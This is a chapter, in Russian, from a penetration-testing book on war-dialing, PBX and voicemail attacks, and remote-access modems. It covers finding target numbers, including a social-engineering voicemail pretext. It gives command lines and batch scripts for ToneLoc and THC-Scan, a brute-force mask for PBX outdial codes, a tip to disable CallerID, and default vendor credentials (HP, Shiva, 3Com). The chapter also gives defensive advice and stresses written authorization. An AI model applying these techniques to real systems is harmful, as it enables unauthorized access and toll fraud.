Глава 9. Уязвимость удаленных соединений, РВХ, Voicemail и виртуальных частных сетей



Глава 9. УЯЗВИМОСТЬ УДАЛЕННЫХ СОЕДИНЕНИЙ, РВХ, VOICEMAIL И ВИРТУАЛЬНЫХ ЧАСТНЫХ СЕТЕЙ




1. Уязвимость удаленных соединений, PBX, VOICEMAIL и виртуальных частных сетей



Уязвимость удаленных соединений, PBX, VOICEMAIL и виртуальных частных сетей


Обычно организации меньше всего внимания уделяют старым забытым телефонным линиям. Эти провода, опоясавшие весь мир, сегодня преданы забвению. В этой главе будет показано, как старенький модем с пропускной способностью 9600 Кбит в секунду может поставить на колени сетевого Голиафа с мошной системной защитой.
Может показаться, что авторы решили начать главу, посвященную сетевым атакам, с устаревшей информации о хакинге аналоговых удаленных соединений. Несмотря на повсеместное распространение Internet, обычные телефонные сети PSTN (Public Switched Telephone Network) сегодня достаточно часто используются для связи с домашними и даже служебными компьютерами. Поэтому сенсационные истории о взломе узлов Internet меркнут перед более прозаическими рассказами о вторжениях через удаленные соединения, поскольку последние являются более разрушительными и проще выполнимыми.
На самом деле для больших компаний гораздо большую опасность представляют плохо инвентаризованные модемные линии, чем защищенные брандмауэрами шлюзы Internet. Упомянутый выше эксперт в области безопасности компании AT&T Билл Чесвик (Bill Cheswick) охарактеризовал брандмауэр как панцирь черепахи. На самом деле, зачем атаковать неприступный брандмауэр, когда можно пробраться непосредственно к "телу" целевой системы через плохо защищенный сервер удаленного доступа? Пожалуй, защита удаленных соединений — наиболее важный аспект построения линии круговой обороны.
Хакинг удаленных соединений выполняется по классической схеме: сначала выполняется предварительный сбор информации, затем — сканирование, инвентаризация и, наконец, атака. В большинстве случаев этот процесс можно автоматизировать с помощью традиционных хакерских средств, получивших название сканеров телефонных номеров (demon dialer) или программ автопрозвона (wardialer). По существу, эти средства программно устанавливают удаленное соединение с большим количеством телефонных номеров, регистрируют те из них, по которым устанавливаются модемные соединения, пытаются идентифицировать систему на другом конце телефонной линии и по возможности зарегистрироваться в системе, подобрав имя пользователя и пароль. Если для этого требуется специальное программное обеспечение или конкретные знания о системе, установка соединения может выполняться вручную.
Выбор сканера телефонных номеров — камень преткновения как для злоумышленников, так и для легальных специалистов по поиску незащищенных удаленных соединений. В этой главе мы рассмотрим две наиболее популярные программы такого типа, которые можно бесплатно загрузить из Internet (ToneLoc и THC-Scan), а также коммерческий продукт PhoneSweep от компании Sandstorm Enterprises.
После обсуждения этих программ будут рассмотрены приемы, применяемые против обнаруженных сканерами телефонных номеров систем вручную или в автоматическом режиме, в том числе внутренние телефонные сети компаний (сети РВХ) или системы голосовой почты (voicemail).
В завершение мы коснемся другого аспекта систем удаленного доступа и опишем виртуальные частные сети VPN (Virtual Private Networking). Хотя такие сети являются достаточно защищенными и на них возлагаются основные надежды в области развития корпоративных сетей, вопрос безопасности для них — не праздный. К настоящему времени известен лишь один случай взлома таких сетей, который и будет рассмотрен в этой главе наряду с общими рассуждениями о перспективах этой жизненно важной технологии.

Предварительный сбор данных о телефонных номерах



Хакинг удаленных соединений начинается с определения диапазона телефонных номеров, с которыми будет работать сканер. Настоящие хакеры обычно выбирают компанию-жертву и собирают информацию об используемых ею телефонных номерах из самых разных источников. Ниже будут описаны некоторые механизмы для ограничения сферы распространения такой информации.
В первую очередь хакеры изучают телефонные справочники. Многие компании продают компакт-диски с телефонными справочниками, которыми можно воспользоваться для взлома удаленных соединений. Определив основной телефонный номер, взломщики обычно "исследуют" схожие с ним номера. Например, если известно, что основной номер компании Acme Corp. — 555-555-1212, то для сканера телефонных номеров хакер задаст диапазон 555-555-ХХХХ, чтобы проверить все 10000 похожих телефонных номеров. При наличии нескольких модемов такое количество номеров можно перепробовать за несколько дней с помощью почти любой программы-сканера.
Еще один способ получения информации о телефонных номерах — позвонить на местную АТС и попытаться узнать номера "из первых уст" неосмотрительных служащих. Это хороший способ получения неафишируемых номеров, применяемых для удаленных соединений и центров данных, в которых префикс обычно отличается от префикса основного телефонного номера. Многие телефонные компании по требованию клиента заносят эту информацию в разряд секретной и не разглашают ее без предоставления пароля, однако известно множество случаев нарушения таких договоренностей и разглашения информации.
Помимо телефонных справочников, источником подобных сведений являются Web-узлы корпорации. Многие компании, потеряв бдительность от свободы распространения информации в Internet, публикуют списки своих телефонных номеров на Web-узлах. Этого не стоит делать, если только это не обусловлено характером деятельности.
Телефонные номера можно найти в самых неожиданных местах Internet. Одно из наиболее опасных местоположений в смысле накопления информации уже упоминалось в главе 1, однако стоит вернуться к нему еще раз. Сведения о контактных телефонах, а также другую техническую и административную информацию о компаниях, представленных в Internet, можно получить из регистрационной базы данных имен Internet, поддерживаемой центром InterNIC (известной также как Network Solutions), через интерфейс whois по адресу http://www.networksolutions.com/cgi-bin/whois/whois/. Вот результат поиска по ключевому слову acme. com, содержащий как открытую, так и закрытую информацию из базы данных InterNIC.

Registrant: Acme, Incorporated (ACME-DOM)
Princeton Rd. Hightstown, NJ 08520
US Domain Name: ACME.COM
Administrative Contact: Smith,John (JSOOOO) jsmith@ACME.COM
555-555-5555 (FAX) 555-555-5556
Technical Contact, Zone Contact: ANS Hostmaster (AH-ORG)
hostmaster@ANS.NET
(800)555-5555

Теперь хакеры имеют не только хорошую отправную точку для работы сканера телефонных номеров, но и кандидатуру сотрудника (John Smith) под именем которого можно осуществлять свою деятельность по сбору дополнительной информации. Помимо этого некоторую полезную информацию можно почерпнуть из раздела технических контактов. А именно здесь видно, как информация фиксируется в базе данных InterNIC. Это уже кое-что.
И наконец, если вручную набирать подряд любые телефонные номера, то рано или поздно можно услышать: "Корпорация XYZ слушает". Это конечно достаточно утомительный способ предварительного сбора данных, но в то же время очень эффективный. Еще одним слабым звеном в системе телекоммуникации компании являются автоответчики, которые можно использовать против служащих компании. Например, от имени вице-президента компании по вопросам маркетинга можно оставить следующее сообщение системному администратору: "Привет, это Джим. Срочно измени мой пароль".

Устраните утечку информации



Лучшей защитой против предварительного сбора информации по телефону является предотвращение утечки информации. Конечно же, для обеспечения возможности деловых контактов необходимо раздавать телефонные номера компании, но очень осторожно. Свяжитесь со своим оператором и согласуйте с ним перечень открытых телефонных номеров, список лиц, имеющих доступ к закрытой информации, а также пароль для получения каких-либо закрытых данных. Организуйте группу по устранению утечки информации из числа сотрудников отдела информатизации, которая будет следить за тем, чтобы закрытые телефонные номера не распространялись через Web-узлы, службы каталогов, серверы удаленного доступа и т.д. Свяжитесь с компанией InterNIC и "почистите" контактную информацию для зоны Internet. И наконец, предупредите пользователей, что телефон не всегда друг, поэтому нужно быть проявлять осторожность в разговорах с незнакомцами и не разглашать никакую закрытую информацию.

Сканеры телефонных номеров



Процесс подбора телефонных номеров во многом определяется используемыми для этого средствами. Поэтому далее будут охарактеризованы конкретные продукты, такие как ToneLoc, THC-Scan и PhoneSweep, Однако сначала приведем некоторые общие рассуждения.

Аппаратные средства



При подборе телефонных номеров вопрос выбора аппаратных средств не менее важен, чем выбор программного обеспечения. Ниже мы рассмотрим два бесплатных программных средства, предназначенных для операционной системы DOS и снискавших незаслуженную репутацию трудно настраиваемых. Однако для настройки любой программы автопрозвона требуется тонкое знание СОМ-портов компьютера, а на некоторых аппаратных конфигурациях эти программы могут не работать вообще, например на переносном компьютере с интерфейсом PCMCIA. Конечно же, не стоит переоценивать требования к аппаратным средствам: типичный персональный компьютер с двумя стандартными СОМ-портами и последовательной платой для добавления еще двух вполне подойдет для этих целей. В то же время, для профессиональной системы автопрозвона можно установить многопортовую карту Digitboard, позволяющую подключить к системе от 4 до 8 модемов одновременно.
Аппаратные средства — главный фактор, определяющий скорость и эффективность. Сканеры телефонных номеров могут быть излишне осторожными: зачастую перед набором следующего номера они выдерживают паузу в несколько секунд, чтобы не упустить потенциальную цель из-за помех на линии или других факторов. Если период ожидания составляет 45-60 секунд, то программа автопрозвона на каждый звонок тратит примерно минуту. Путем несложных арифметических вычислений можно определить, что для проверки диапазона в 10000 номеров одному модему понадобится семь полных суток. Очевидно, что добавление каждого нового модема существенно ускоряет процесс — четыре модема работают вдвое быстрее, чем два. Поскольку подбор номеров можно выполнять только в непиковое время (см. следующий раздел), то чем больше модемов задействовано в этой операции — тем лучше.
Значительное влияние на скорость процесса оказывает также тип модема. Современные модемы, как правило, голосовые. Определение голоса позволяет при подборе номера сразу же зарегистрировать номер телефона как "голосовой", отключиться и продолжать дозвон по следующему номеру, не ожидая истечения заданного интервала времени (45-60 секунд). Поскольку значительная доля телефонных номеров выделена для голосовых линий, то их обнаружение значительно ускоряет процесс подбора номера телефона для модемных соединений. В документации к обеим программам THC-Scan и PhoneSweep рекомендуется использовать модем USR Courier, как наиболее надежный. Кроме того, в документации по THC-Scan рекомендуется также использовать модем Zyxel Elite, а в документации по PhoneSweep — Zyxel U-1496E fax/Voice.

Легализация деятельности



Наряду с вопросами выбора аппаратной платформы для подбора номеров потенциальные взломщики серьезно рассматривают вопросы законности своей деятельности. В некоторых странах запрещено последовательно набирать большое число номеров, и телефонные компании внимательно следят за соблюдением этого требования, а зачастую их оборудование попросту не позволяет этого делать. Конечно же, все рассматриваемые здесь программы разбивают заданный диапазон номеров на случайные интервалы, чтобы избежать нарушения таких требований, но это все же не гарантирует от попадания в "черный список". Поэтому специалисты, занимающиеся подобной деятельностью на законных основаниях, должны легализовать свои действия и получить письменное разрешение от компании-заказчика на проведение такого тестирования. В этом документе необходимо указать диапазон сканируемых телефонных номеров, чтобы возложить ответственность за выход из диапазона на выполняющую подбор номера организацию.
В соглашении необходимо также указать время суток, когда компания-заказчик предпочитает выполнять тестирование. Как уже упоминалось, сканирование телефонных номеров в рабочее время может негативно отразиться на эффективности работы компании, поэтому такую деятельность обычно откладывают на поздний вечер или ночное время.

Помните, что сканирование телефонных номеров с включенным идентификатором CallerlD, означающим возможность автоматического определения номера, равнозначно передаче визитной карточки по каждому из набираемых вами номеров. Многократное повторение звонков из одного источника вызовет подозрение у целевой компании, поэтому стоит отключить режим автоматического определения номера на своей телефонной линии (конечно же, если у вас есть разрешение на подобную деятельность, то это не критично). Не следует забывать и том, что при звонках по номерам с префиксом 800 номер звонившего фиксируется в любом случае независимо от статуса CallerlD, поскольку в этой ситуации разговор оплачивается отвечающей стороной.

Стоимость телефонных переговоров



И наконец, не забывайте о том, что подбор номеров удаленных целевых организаций оплачивается по междугородному тарифу телефонных переговоров. Поэтому приготовьтесь к получению значительных счетов за телефонные переговоры и заранее согласуйте вопрос их оплаты с заказчиком.
В следующих разделах будут подробно рассмотрены вопросы настройки каждого программного средства, чтобы читатели смогли легко воспользоваться этими программами. Однако в книге будут описаны далеко не все возможности этих программ.

Программное обеспечение



Поскольку сканирование телефонных номеров обычно выполняется ночью в течение небольших интервалов времени, то важным требованием к соответствующим программам является возможность гибкой настройки графика работы и запоминания уже отсканированных номеров. Бесплатные программы ToneLoc и THC-Scan регулярно сохраняют результаты своей работы в файлах данных, обеспечивая тем самым возможность продолжения работы после последующего перезапуска. Кроме того у них есть определенные средства для задания времени начала и окончания работы в течение одних суток. Однако для выполнения длительных операций сканирования в течение нескольких дней пользователь должен полагаться на возможности операционной системы по планированию выполнения заданий или написать специальный сценарий. Программа PhoneSweep позволяет полностью автоматизировать режим работы.
Может показаться, что авторы предвзято относятся к программам ToneLoc и THC-Scan, однако они стараются быть объективными. Конечно, коммерческая программа PhoneSweep значительно облегчит жизнь консультантам по безопасности, которым необходимо получить максимальный результат ценой минимальных усилий. Возможности этой программы соответствуют ее цене, поэтому не стоит отказываться и от услуг бесплатных программ ToneLoc и THC-Scan. При регулярной интенсивной работе PhoneSweep себя окупает, однако не имеет смысла платить деньги, если аудит приходится выполнять лишь раз в полгода.

Программа ToneLoc



Одной из первых и наиболее популярных программ телефонного сканирования является утилита ToneLoc компании Minor Threat&Mucho Maas (название ToneLoc расшифровывается как Tone Locator). Эту программу можно найти на узле компании, а также на множестве хакерских узлов в Internet. Подобно многим программам-номеронабирателям, ToneLoc работает под управлением DOS (или в окне DOS операционной системы Win 9x или NT), а также с эмулятором DOS в UNIX. В течение многих лет эта утилита являлась эффективным средством для хакеров и консультантов по безопасности. К сожалению, создатели ToneLoc не следят за обновлением своей программы, и никто из сообщества специалистов по безопасности не принимал участия в ее разработке. Поэтому для оценки защищенности Web-узла лучше использовать более робастную программу THC-Scan.
Программу ToneLoc легко установить и применять для базовых операций телефонного сканирования, однако использование расширенных возможностей этой программы требует некоторых навыков. Сначала из командной строки необходимо запустить простую утилиту TLCFG, выполняющую запись основных параметров конфигурации модема в файл TL.CFG, проверяемый при запуске ToneLoc (при этом должны быть установлены порт СОМ, адрес порта ввода-вывода и номер прерывания). Окно программы TLCFG.EXE показано на рис. 9.1.
После этого из командной строки можно запустить саму программу ToneLoc, указав диапазон сканируемых телефонных номеров, имя файла данных для записи результатов и любые другие опции в следующем формате.

ToneLoc [ФайлДанных] /М:[Маска] /R:[Диапазон]
/X:[ИскМаска] /D:[ИскДиапазон]
/С:[Коифиг] /#:[Число] /S:[ВремяНачала] /Е:[ВремяЭаверш]
/Н:[Часы] /Т /К

[ФайлДанных] - файл для хранения данных (возможно, маска)
[Маска] - Маска для телефонных номеров в формате 555-ХХХХ
[Диапазон] - диапазон телефонных номеров в формате 5000-6999
[ИскМаска} - маска для исключения из сканирования в формате 1ХХХ
[ИскДиапазон] - диапазон для исключения из сканирования в формате 2500-2699
[Конфиг] - используемый файл конфигурации
[Число] - количество выполняемых звонков в формате 250
[ВремяНачала]- время начала сканирования в формате 9:30р
[ВремяЗаверш]- время завершения сканирования в формате 6:45а
[Часы] - максимальное число часов сканирования в формате 5:30
(перекрывает [ВремяЗаверш])
/Т = Tones, /К = Carriers (перекрывают данные файла конфигурации).

Как будет видно из последующего материала, утилита THC-Scan использует очень близкий список параметров. В приведенном ниже примере утилита ToneLoc будет сканировать все телефонные номера от 555-0000 до 555-9999 и записывать информацию в файл test. На рис. 9.2 показана программа ToneLoc в действии.
toneloc test /M:555-ХХХХ /R:0000-9999
Утилита ToneLoc имеет множество других возможностей для более искушенных пользователей, описанных в руководстве пользователя (TLUSER.DOC), однако для выполнения базовых операций по подбору номера перечисленных параметров вполне хватает. Приведем еще один параметр, задающий период ожидания и используемый для тестирования сетей РВХ. Этот параметр позволяет дождаться гудка после набора основного номера и ввести код для выполнения исходящих звонков из внутренней телефонной станции РВХ.
toneloc test /M:555-XXXXWxxx
При таком формате команды набирается номер 555-9999, затем делается пауза для появления гудка, а затем проверяются все возможные комбинации из трех цифр (ххх) для получения кода для выполнения исходящих звонков из сети РВХ. Утилита ToneLoc может угадывать даже четырехзначные коды. Возможно, это убедит читателей в опасности использования удаленных соединений с сетями РВХ или хотя бы заставит использовать более длинные коды.

Программа THC-Scan



Слабые стороны утилиты ToneLoc компенсирует программа THC-Scan, созданная членом хакерской группы The Hacker's Choice из Германии Ван Хаузером (van Hauser) (http://www.infowar.co.uk/thc/). Подобно ToneLoc, утилита THC-Scan тоже настраивается и запускается в операционной системе DOS, в окне DOS Win 9x или с консоли Windows NT, а также с использованием эмулятора Dos под UNIX.



Рис. 9.1. Использование программы TLCFG.EXE дм ввода конфигурационных параметров модема, применяемой утилитой ToneLoc



Рис. 9.2. Утилита ToneLoc в процессе сканирования большого числа телефонных номеров в поисках других модемов

Перед использованием утилиты THC-Scan сначала с помощью программы TS-CFG необходимо сгенерировать файл конфигурации (. CFG). Эта утилита конфигурации имеет более широкие возможности, чем программа TLCFG для ToneLoc. Большинство параметров конфигурации достаточно просты, но для нестандартной настройки потребуются исчерпывающие знания СОМ-портов. Основные параметры конфигурации перечислены в следующей таблице

Порт СОМ
Номер прерывания
Порт ввода-вывода
1
4
3F8
2
3
2F8
3
4
ЗЕ8
4
3
2Е8

Для определения этих параметров применяется утилита MOD-DET, включенная в комплект поставки THC-Scan (на сообщения Windows об ошибках можно не обращать внимания), результат работы которой выглядит следующим образом.

MODEM DETECTOR v2.00 (c) 1996,98 by van Hauser/THC
<vh@ reptile.rug.ac.be>
Get the help screen with : MOD-DET.EXE ?
Identifying Options...
Extended Scanning : NO
Use Fossil Driver : NO
(Fossil Driver not present)
Slow Modem Detect : YES
Terminal Connect : NO
Output Filename : <none>
Autodetecting modems connected to COM 1 to COM 4 ...
COM 1 - None Found
COM 2 - Found! (Ready)
[Irq: 3 | BaseAdress: $2F8]
COM 3 - None Found
COM 4 - None Found
1 Modem(s) found.

После создания файла конфигурации . CFG можно приступать к сканированию телефонных номеров. Синтаксис команды THC-Scan очень напоминает формат ToneLoc и имеет лишь несколько отличий. (Перечень возможных параметров слишком велик, поэтому здесь он приводиться не будет. Его можно найти в четвертой части руководства THC-SCAN.DOC, входящего в комплект поставки программы.) Даже в процессе работы THC-Scan очень напоминает утилиту ToneLoc (рис. 9.3).



Рис. 9.3. Сканирование телефонных номеров с помощью утилиты THC-Scan

Установка режима сканирования выполняется вручную с помощью ключей /s и /Е, задающих время начала и окончания процесса соответственно. Для повторения этого процесса каждый день нужно использовать встроенные средства планирования заданий операционной системы, например команду AT службы Scheduler системы Windows NT. Авторы книги обычно записывают параметры запуска THC-Scan в простой командный файл, который затем вызывается программой AT Scheduler. При планировании графика работы утилиты THC-SCAN.EXE необходимо помнить, что соответствующий файл конфигурации . CFG обязательно должен находиться в текущем каталоге, если не задана опция /!. Поскольку служба Scheduler запускает команды из каталога %systemroot%, для файла конфигурации утилиты THC-SCAN.EXE необходимо задать абсолютный путь, как показано в следующем примере.
Приведем пример командного файла thc.bat.

@@echo off
rem Make sure thc-scan.exe is in path
rem absolute path to .cfg file must be specified with /! switch if run
from AT scheduler
rem if re-running a scan, first change to directory with appropriate .DAT
file and delete /P: argument
C:\thc-scan\bin\THC-SCAN.EXE test /M:555-xxxx /R:0000-9999
/!:C:\thc-scan\bin\THC-SCAN.CFG /P:test /F /3:20:00 /E:6:00

После запуска этого командного файла утилита THC-Scan будет выполнять сканирование с 8 часов вечера до 6 часов утра. С помощью следующей команды можно обеспечить ежедневный запуск утилиты:

at 7:58P /interactive /every:1 C\:thc-scan\bin\thc.bat

Утилита THC-Scan создает файл данных . DAT и считывает из него информацию за предыдущие дни до тех пор, пока не отсканирует все номера диапазона. Не забудьте удалить всю информацию, оставшуюся после завершения работы утилиты THC-Scan, с помощью команды at /delete.
Для пользователей, выполняющих сканирование телефонных номеров с помощью нескольких модемов или нескольких клиентов сети автор утилиты написал простой командный файл NETSCAN.BAT, содержащийся в архиве THC-MISC.ZIP, входящем в комплект поставки утилиты. Внеся в этот файл небольшие изменения, описанные во второй части руководства THC-SCAN.DOC, этот сценарий можно использовать для автоматического деления диапазона телефонных номеров и создания отдельных DAT-файлов для каждого клиента или модема. Чтобы настроить утилиту THC-Scan для использования нескольких модемов, выполните следующие действия.
1. Создайте для каждого модема отдельный каталог, поместите в него копию утилиты THC-Scan и файл конфигурации, соответствующий этому модему.
2. Внесите изменения в файл NETSCAN.BAT, описанные в руководстве THC-SCAN.DOC. Количество модемов задайте в строке SET CLIENTS=, расположенной в разделе [2] командного файла NETSCAN.BAT.
3. Введите команду netscan.bat [маска соединения] [число модемов].
4. Поместите каждый файл . DAT в каталог соответствующего модема. Например, при использовании команды netscan 555-XXXX 2 для двух модемов результирующий файл 2555xxxx.DAT поместите в каталог, соответствующий модему № 2 (например, \thc-scan\bin2).
При поиске телефонных номеров, используемых для модемных соединений, утилита THC-Scan может отправлять ответившему модему несколько строк, заданных в файле конфигурации. Этот режим можно установить с помощью параметра carrier Hack Mode утилиты TS-CFG, а само содержимое этих строк — с помощью параметра Nudge. По умолчанию предлагается следующее сообщение.

^~^~^~^~^~^M^~^M?^M^~help^M^~^~^~guest^M^~guest^М^~INFO^M^MLO

(^~ означает паузу, а ^М — возврат каретки). Стандартный текст сообщения во многих случаях работает достаточно хорошо, но для достижения конкретной цели этот текст можно изменить.
По завершении процесса сканирования необходимо проанализировать различные журналы. Важным преимуществом утилиты THC-Scan является возможность записи вводимой информации в текстовый файл, пригодный для использования в дальнейшем. Однако в процессе управления данными много информации приходится вводить вручную. Утилита THC-Scan может генерировать огромные объемы информации для последующего анализа, включая список отсканированых телефонных номеров, найденные модемы, выявленные типы систем и т.д. Вся эта информация записывается в файлы трех типов: DAT-файлы, файлы базы данных . D3, которые затем можно импортировать в ODBC-совместимую базу данных (эта опция задается с помощью ключа /F), и несколько LOG-файлов, содержащих списки телефонных номеров, которые были заняты, по которым ответил модем, а также перечень откликов модемов. Файл базы данных можно анализировать в любой системе управления базой данных, но в нем отсутствует информация об откликах модемов. Информация об откликах модемов содержится в журнале CARRIERS . LOG, и ее согласование с информацией базы данных надо проводить вручную. Такой анализ приглашений ответившей системы все равно зачастую приходится выполнять вручную для дальнейшего проникновения в систему, однако для больших диапазонов сканируемых номеров очень сложно вручную составить исчерпывающий отчет, отражающий основные результаты.
Вопрос управления данными значительно усложняется при использовании нескольких модемов. Как видно из описанного выше процесса, для каждого модема настраивается и запускается свой экземпляр утилиты THC-Scan и общий диапазон телефонных номеров нужно вручную разделить между модемами. Результирующие DAT-файлы можно объединить с помощью утилиты DAT-MERGE.EXE, входящей в комплект поставки утилиты THC-Scan, однако файлы журналов регистрации ответов модемов тоже нужно объединять вручную.
Невзирая на эти неудобства, утилита THC-Scan является чудесным бесплатным средством для телефонного сканирования и ее автор достоин наилучших слов благодарности. Как будет видно из последующего материала, продукты, обладающие большей простотой и эффективностью, стоят достаточно дорого.

Программа PhoneSweep



Если, с вашей точки зрения, использование утилиты THC-Scan требует слишком больших усилий, то вам подойдет программа PhoneSweep. Эту программу распространяет компания Sandstorm Enterprises (http://www.sandstorm.net). Вопросам установки и использования бесплатных программ телефонного сканирования было уделено достаточно много внимания. Рассказ о PhoneSweep будет значительно короче, поскольку практически все понятно из самого интерфейса пользователя (рис. 9.4).
Основными преимуществами PhoneSweep являются простой графический интерфейс, автоматическое планирование заданий, возможность проникновения в систему, одновременная поддержка нескольких модемов и изящная отчетность. Для каждого модема задается диапазон номеров (профиль) . Текущая версия программы поддерживает до четырех модемов. С помощью флажков Business Hours, Outside Hours и Weekends утилиту PhoneSweep легко настроить для использования в рабочее время, нерабочие часы и выходные, как показано на рис. 9.5. Конкретные часы рабочего времени задаются во вкладке Options>Time. Утилита PhoneSweep будет непрерывно выполнять сканирование в указанный период времени (обычно это нерабочее время или выходные, задаваемые флажками Outside Hours и Weekends) до тех пор, пока не будет проверен весь диапазон.
Утилита PhoneSweep различает 205 различных типов устройств удаленного доступа (их полный список приводится по адресу http://www.sandstorm.net/phoneswep/ sysids.shtml). Она выполняет идентификацию, сравнивая текстовые или бинарные строки, получаемые в качестве отклика модема, с базой данных известных откликов. Если отклик модема настраивался вручную, то утилита PhoneSweep его не распознает. Чтобы обеспечить идентификацию всех возможных систем, нужно включить в отчет все отклики всех возможных модемов, а затем проанализировать этот список вручную.



Рис. 9.4. Графический интерфейс утилиты PhoneSweep значительно превосходит возможности интерфейса бесплатных программ и включает множество средств, повышающих эффективность и облегчающих использование



Рис. 9.5. Утилита PhoneSweep позволяет легко настраивать график работы

Помимо выявления стандартных модемов, утилита PhoneSweep позволяет реализовывать типичные атаки против них. В текстовом файле bruteforce.txt, расположенном в каталоге приложения, содержится перечень имен пользователей и паролей, которые передаются в ответ на приглашение модема. Если соединение разрывается, утилита PhoneSweep снова набирает номер и пробует воспользоваться следующим вариантом отклика, пока не будет исчерпан весь список (используя эту утилиту для тестирования защищенности своего сервера удаленного доступа, остерегайтесь возможности блокирования учетной записи). Одно только это средство стоит денег, затраченных на покупку PhoneSweep, поскольку позволяет автоматизировать операции. которые обычно выполняются вручную (см. следующий раздел).
Еще одним важным преимуществом утилиты PhoneSweep является встроенная база данных SQL для регистрации результатов сканирования. Благодаря ее наличию отпадает необходимость просмотра текстовых файлов вручную или приведения данных из разных форматов к единому формату электронных таблиц (что приходится делать при использовании бесплатных программ). Здесь имеется лишь один шаблон отчета, однако он очень изящен, содержит действительно полезную информацию в табличном виде, а также возможность добавления в отчет откликов идентифицированных модемов (приложение А) и всего списка телефонных номеров (приложение В) в формате RTF. Фрагмент отчета утилиты PhoneSweep приведен на рис. 9.6.
Конечно, основным отличием между PhoneSweep и бесплатными программами является цена. Во время написания этой книги существовало две версии программы PhoneSweep: PhoneSweep Basic, поддерживающая один модем и до 800 номеров на профиль стоимостью $980 (стоимость дополнительной поддержки этой версии в течение года составляет $196), и PhoneSweep Plus, поддерживающая до 4 модемов и 10000 номеров на каждый профиль стоимостью $2800 (стоимость дополнительной поддержки этой версии в течение года составляет $560). Для защиты от нелицензионного копирования программы используется аппаратная заглушка, подключаемая к параллельному порту, без которой программа не работает. Учитывая стоимость усилий, затраченных на установку, настройку и обработку результатов бесплатных программ, цена $2800 выглядит не столь устрашающе.



Рис. 9.6. Небольшой фрагмент отчета утилиты PhoneSweep одновременно демонстрирует уровень детализации и обобщения результатов единственного встроенного шаблона отчета

Интересные результаты сравнения программ PhoneSweep и THC-Scan, полученные, из заинтересованного источника — от компании Sandstorm Enterprises, Inc., можно найти по адресу http: //geek-girl. com/bugtraq/1998_4/0770 .html.
Но какое бы средство мы ни выбрани, важно понимать, что мы хотим получить в итоге. Об этом будет рассказано в следующем разделе.

Способы проникновения в систему через модем



Сканирование телефонных номеров преследует цель выявить потенциальные точки для последующего вторжения в систему через модемное соединение, однако чаще всего для определения степени уязвимости удаленного соединения требуется внимательный анализ отчетов. Например, из следующего фрагмента файла CARRIERS . LOG, сгенерированного утилитой THC-Scan, видны типичные отклики модемов. Для краткости этот файл несколько подредактирован. Подобные данные содержатся и в приложении А отчета утилиты PhoneSweep.

23-05-1997 14:57:50 Dialing... 95552851
CONNECT 57600
НР995-400:_
Expected a HELLO command. (CIERR 6057)
23-05-1997 20:08:39 Dialing... 95552349
CONNECT 57600
@ Userid:
Password?
Login incorrect
23-05-1997 21:48:29 Dialing... 95552329
CONNECT 57600
Welcome to 3Com Total Control HiPer ARC (TM)
Networks That Go The Distance (TM)
login:
Password:
Login Incorrect
23-05-1997 21:42:16 Dialing... 95558799
CONNECT 57600
._Please press <Enter>..._I
PJack Smith_JACK SMITH
[CARRIER LOST AFTER 57 SECONDS]

Авторы умышленно выбрали эти примеры, чтобы показать неоценимое значение опыта работы с различными серверами удаленных соединений и операционными системами. Например, первый отклик, похоже, поступил от системы HP (HP995-40C), однако последующая строка с информацией о команде HELLO выглядит странновато. При установке соединения с этой системой вручную с помощью стандартного программного обеспечения (авторы книги предпочитают программу Procomm Plus, распространяемую компанией Symantec Corp, и представленную по адресу http://www.Symantec, соm/рrосоrоm/procomm.html, поскольку с ее помощью можно эмулировать терминал VT-100 на основе протокола ASCII) пользователя ожидает столь же непонятный результат. Для прояснения ситуации взломщик должен быть знаком с системами МРЕ-XL от Hewlett-Packard и знать, что в ответ на приглашение нужно ввести команду HELLO имя. ПОЛЬЗ, а затем пароль. Поэтому имеет смысл воспользоваться утилитой Procomm Plus и ввести следующую информацию.

CONNECT 57600
НР995-400: HELLO FIELD.SUPPORT
PASSWORD» TeleSup

В качестве имени пользователя и пароля в HP-системах по умолчанию применяются FIELD. SUPPORT и TeleSup соответственно. Таким образом, при наличии богатого опыта и затрате минимальных усилий можно выявить бреши в таких местах, где неподготовленные пользователи обнаружат лишь непробиваемую стену.
Второй пример отклика в приведенном фрагменте отчета несколько проще. Синтаксис @Userid свидетельствует об обнаружении сервера удаленного доступа LANRover производства компании Shiva Corp. (теперь она является частью корпорации Intel). Утилита PhoneSweep автоматически определяет системы LANRover по этой строке. На основе этой информации и в результате изучения Web-узла http: //www.shiva.com хакер сможет узнать, что системы LANRover можно сконфигурировать для аутентификации удаленных пользователей. При этом зачастую используется имя пользователя supervisor или admin с паролем NULL. Вы даже представить себе не можете, как часто такие данные срабатывают против ленивых администраторов.
Третий пример демонстрирует, насколько полезными могут оказаться даже элементарные знания о производителе и модели системы. Широко известно, что для устройств удаленного доступа 3Com TotalControl HiPer ARC существует "резервная" учетная запись adm с паролем NULL (http://geek-girl.com/bugtraq/1998_4/0682.html). Поэтому такие системы являются широко открытыми (если этот просчет еще не устранен).
В последнем примере зафиксирован отклик программы управления удаленным доступом pcAnywhere от компании Symantec. Если владелец системы Джек Смит не поленился установить хотя бы символический пароль, то система практически неуязвима. Но двое из троих пользователей pcAnywhere игнорируют подобные меры (и это действительно так!). Более подробная информация о pcAnywhere и других подобных программах содержится в главе 13.
Выше уже упоминалось о том, что интерес для хакеров представляют не только модемы, но и сети РВХ, а также системы голосовой почты. В частности, системы РВХ, сконфигурированные для обеспечения удаленных исходящих соединений, при вводе корректного кода отвечают гудком (см. выше описание программы ToneLoc). Поэтому при неправильной настройке эти средства обеспечивают взломщику возможность совершения телефонных звонков в любую точку мира за чужой счет. Не забывайте об этом, проверяя защищенность своей системы.
Описание всевозможных откликов удаленных систем могло бы занять всю оставшуюся часть этой книги, однако даже из этого краткого примера видно, какие типы систем можно обнаружить при проверке защищенности вашей организации. Помните о возможных брешах в защите и консультируйтесь со специалистами, включая разработчиков.
А что делать, если имя пользователя и пароль угадать не удается? Тогда следует попробовать атаковать в лоб. Как уже отмечалось, утилита PhoneSweep содержит встроенные средства подбора пароля, но не исчерпывает всех возможностей. Можно воспользоваться другими средствами, например Login Hacker от ТНС, представляющим собой компилятор языка сценариев и включающим несколько примеров таких сценариев. Авторам книги приходилось видеть и сложные сценарии, написанные на языке ASPECT, компании Procomm Plus. Эти программы трижды пытаются угадать пароль, Снова устанавливают соединение при его разрыве целевой системой и т.д. Однако такое вмешательство для удаленных систем нежелательно и даже противоправно, если эти попытки предпринимаются без согласия владельца системы.

Доморощенный способ: примитивное написание сценариев



